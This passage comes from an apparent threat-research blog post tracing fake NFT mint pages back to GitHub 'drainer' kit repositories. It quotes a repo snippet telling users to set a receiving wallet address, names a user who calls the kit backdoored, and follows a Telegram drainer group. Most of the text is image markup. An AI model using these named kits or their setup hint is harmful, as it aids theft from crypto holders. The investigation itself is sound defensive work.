pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Each instance targets a different NFT project as well. For example, the GitHub Page above is a fake METAKAMI mint:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wH0r!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff49a590f-984d-480c-8eb8-8886faa1fc82_386x346.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wH0r!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff49a590f-984d-480c-8eb8-8886faa1fc82_386x346.png 424w, https://substackcdn.com/image/fetch/$s_!wH0r!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff49a590f-984d-480c-8eb8-8886faa1fc82_386x346.png 848w, https://substackcdn.com/image/fetch/$s_!wH0r!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff49a590f-984d-480c-8eb8-8886faa1fc82_386x346.png 1272w, https://substackcdn.com/image/fetch/$s_!wH0r!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff49a590f-984d-480c-8eb8-8886faa1fc82_386x346.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wH0r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff49a590f-984d-480c-8eb8-8886faa1fc82_386x346.png" width="386" height="346" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f49a590f-984d-480c-8eb8-8886faa1fc82_386x346.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:346,&quot;width&quot;:386,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!wH0r!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff49a590f-984d-480c-8eb8-8886faa1fc82_386x346.png 424w, https://substackcdn.com/image/fetch/$s_!wH0r!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff49a590f-984d-480c-8eb8-8886faa1fc82_386x346.png 848w, https://substackcdn.com/image/fetch/$s_!wH0r!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff49a590f-984d-480c-8eb8-8886faa1fc82_386x346.png 1272w, https://substackcdn.com/image/fetch/$s_!wH0r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff49a590f-984d-480c-8eb8-8886faa1fc82_386x346.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CwNe!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4644435b-73c2-4ab9-b7f8-bb2aedc2e51c_875x720.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CwNe!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4644435b-73c2-4ab9-b7f8-bb2aedc2e51c_875x720.png 424w, https://substackcdn.com/image/fetch/$s_!CwNe!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4644435b-73c2-4ab9-b7f8-bb2aedc2e51c_875x720.png 848w, https://substackcdn.com/image/fetch/$s_!CwNe!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4644435b-73c2-4ab9-b7f8-bb2aedc2e51c_875x720.png 1272w, https://substackcdn.com/image/fetch/$s_!CwNe!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4644435b-73c2-4ab9-b7f8-bb2aedc2e51c_875x720.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CwNe!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4644435b-73c2-4ab9-b7f8-bb2aedc2e51c_875x720.png" width="875" height="720" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4644435b-73c2-4ab9-b7f8-bb2aedc2e51c_875x720.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:720,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!CwNe!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4644435b-73c2-4ab9-b7f8-bb2aedc2e51c_875x720.png 424w, https://substackcdn.com/image/fetch/$s_!CwNe!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4644435b-73c2-4ab9-b7f8-bb2aedc2e51c_875x720.png 848w, https://substackcdn.com/image/fetch/$s_!CwNe!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4644435b-73c2-4ab9-b7f8-bb2aedc2e51c_875x720.png 1272w, https://substackcdn.com/image/fetch/$s_!CwNe!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4644435b-73c2-4ab9-b7f8-bb2aedc2e51c_875x720.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Things start heating up as we continue digging through the search results and land on what looks to be the original repo:</p><h2><strong><a href="https://github.com/C4lme/Nft-Drainer-stealer-template?source=post_page-----66f3794aea4b---------------------------------------">GitHub - C4lme/Nft-Drainer-stealer-template: drain nft fake mint steal nft nt stealer</a></strong></h2><h3><a href="https://github.com/C4lme/Nft-Drainer-stealer-template?source=post_page-----66f3794aea4b---------------------------------------">In order to use this website, you need to edit the settings.js file. On line 1: const receiveAddress = &#8220;YOUR WALLET&#8221;&#8230;</a></h3><p><a href="https://github.com/C4lme/Nft-Drainer-stealer-template?source=post_page-----66f3794aea4b---------------------------------------">github.com</a></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zWgB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c79815e-b5d3-4d4c-bffe-34f1057eb320_875x563.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zWgB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c79815e-b5d3-4d4c-bffe-34f1057eb320_875x563.png 424w, https://substackcdn.com/image/fetch/$s_!zWgB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c79815e-b5d3-4d4c-bffe-34f1057eb320_875x563.png 848w, https://substackcdn.com/image/fetch/$s_!zWgB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c79815e-b5d3-4d4c-bffe-34f1057eb320_875x563.png 1272w, https://substackcdn.com/image/fetch/$s_!zWgB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c79815e-b5d3-4d4c-bffe-34f1057eb320_875x563.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zWgB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c79815e-b5d3-4d4c-bffe-34f1057eb320_875x563.png" width="875" height="563" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1c79815e-b5d3-4d4c-bffe-34f1057eb320_875x563.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:563,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!zWgB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c79815e-b5d3-4d4c-bffe-34f1057eb320_875x563.png 424w, https://substackcdn.com/image/fetch/$s_!zWgB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c79815e-b5d3-4d4c-bffe-34f1057eb320_875x563.png 848w, https://substackcdn.com/image/fetch/$s_!zWgB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c79815e-b5d3-4d4c-bffe-34f1057eb320_875x563.png 1272w, https://substackcdn.com/image/fetch/$s_!zWgB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c79815e-b5d3-4d4c-bffe-34f1057eb320_875x563.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Eureka!</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-sGT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa75c47fe-0c59-462f-a9ca-a44b8ef215fb_2720x652.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-sGT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa75c47fe-0c59-462f-a9ca-a44b8ef215fb_2720x652.png 424w, https://substackcdn.com/image/fetch/$s_!-sGT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa75c47fe-0c59-462f-a9ca-a44b8ef215fb_2720x652.png 848w, https://substackcdn.com/image/fetch/$s_!-sGT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa75c47fe-0c59-462f-a9ca-a44b8ef215fb_2720x652.png 1272w, https://substackcdn.com/image/fetch/$s_!-sGT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa75c47fe-0c59-462f-a9ca-a44b8ef215fb_2720x652.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-sGT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa75c47fe-0c59-462f-a9ca-a44b8ef215fb_2720x652.png" width="1456" height="349" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a75c47fe-0c59-462f-a9ca-a44b8ef215fb_2720x652.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:349,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Become a member&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Become a member" title="Become a member" srcset="https://substackcdn.com/image/fetch/$s_!-sGT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa75c47fe-0c59-462f-a9ca-a44b8ef215fb_2720x652.png 424w, https://substackcdn.com/image/fetch/$s_!-sGT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa75c47fe-0c59-462f-a9ca-a44b8ef215fb_2720x652.png 848w, https://substackcdn.com/image/fetch/$s_!-sGT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa75c47fe-0c59-462f-a9ca-a44b8ef215fb_2720x652.png 1272w, https://substackcdn.com/image/fetch/$s_!-sGT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa75c47fe-0c59-462f-a9ca-a44b8ef215fb_2720x652.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>But remember when we said that everything is not as it seems in the world of Crypto Drainers? Here&#8217;s where things get interesting:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gvmM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d768ee4-9506-4ca0-867e-213395ea641f_875x573.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gvmM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d768ee4-9506-4ca0-867e-213395ea641f_875x573.png 424w, https://substackcdn.com/image/fetch/$s_!gvmM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d768ee4-9506-4ca0-867e-213395ea641f_875x573.png 848w, https://substackcdn.com/image/fetch/$s_!gvmM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d768ee4-9506-4ca0-867e-213395ea641f_875x573.png 1272w, https://substackcdn.com/image/fetch/$s_!gvmM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d768ee4-9506-4ca0-867e-213395ea641f_875x573.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gvmM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d768ee4-9506-4ca0-867e-213395ea641f_875x573.png" width="875" height="573" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6d768ee4-9506-4ca0-867e-213395ea641f_875x573.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:573,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!gvmM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d768ee4-9506-4ca0-867e-213395ea641f_875x573.png 424w, https://substackcdn.com/image/fetch/$s_!gvmM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d768ee4-9506-4ca0-867e-213395ea641f_875x573.png 848w, https://substackcdn.com/image/fetch/$s_!gvmM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d768ee4-9506-4ca0-867e-213395ea641f_875x573.png 1272w, https://substackcdn.com/image/fetch/$s_!gvmM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d768ee4-9506-4ca0-867e-213395ea641f_875x573.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2><strong><a href="https://github.com/captaingreem/Lets-talk/tree/d2534784d836d28c36cafd3515115112c2550def?source=post_page-----66f3794aea4b---------------------------------------">GitHub - captaingreem/Lets-talk at d2534784d836d28c36cafd3515115112c2550def</a></strong></h2><h3><a href="https://github.com/captaingreem/Lets-talk/tree/d2534784d836d28c36cafd3515115112c2550def?source=post_page-----66f3794aea4b---------------------------------------">This guy do dualwallet with backdoor, don&#8217;t trust this kind of people who sell you shit for a small price so that they&#8230;</a></h3><p><a href="https://github.com/captaingreem/Lets-talk/tree/d2534784d836d28c36cafd3515115112c2550def?source=post_page-----66f3794aea4b---------------------------------------">github.com</a></p><p>Looks like the old adage &#8220;There&#8217;s no honor among thieves&#8221; holds true especially for cybercrime as we find a GitHub user calling out the first author we found above as a thief that sells backdoored Crypto Drainers!</p><p>We follow the link to a Crypto Drainers group on Telegram:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!p56V!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5367230c-5f11-4fb2-aa06-c5151ea4f63d_453x592.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!p56V!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5367230c-5f11-4fb2-aa06-c5151ea4f63d_453x592.png 424w, https://substackcdn.com/image/fetch/$s_!p56V!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5367230c-5f11-4fb2-aa06-c5151ea4f63d_453x592.png 848w, https://substackcdn.com/image/fetch/$s_!p56V!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5367230c-5f11-4fb2-aa06-c5151ea4f63d_453x592.png 1272w, https://substackcdn.com/image/fetch/$s_!p56V!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5367230c-5f11-4fb2-aa06-c5151ea4f63d_453x592.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!p56V!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5367230c-5f11-4fb2-aa06-c5151ea4f63d_453x592.png" width="453" height="592" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5367230c-5f11-4fb2-aa06-c5151ea4f63d_453x592.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:592,&quot;width&quot;:453,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!p56V!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5367230c-5f11-4fb2-aa06-c5151ea4f63d_453x592.png 424w, https://substackcdn.com/image/fetch/$s_!p56V!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5367230c-5f11-4fb2-aa06-c5151ea4f63d_453x592.png 848w, https://substackcdn.com/image/fetch/$s_!p56V!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5367230c-5f11-4fb2-aa06-c5151ea4f63d_453x592.png 1272w, 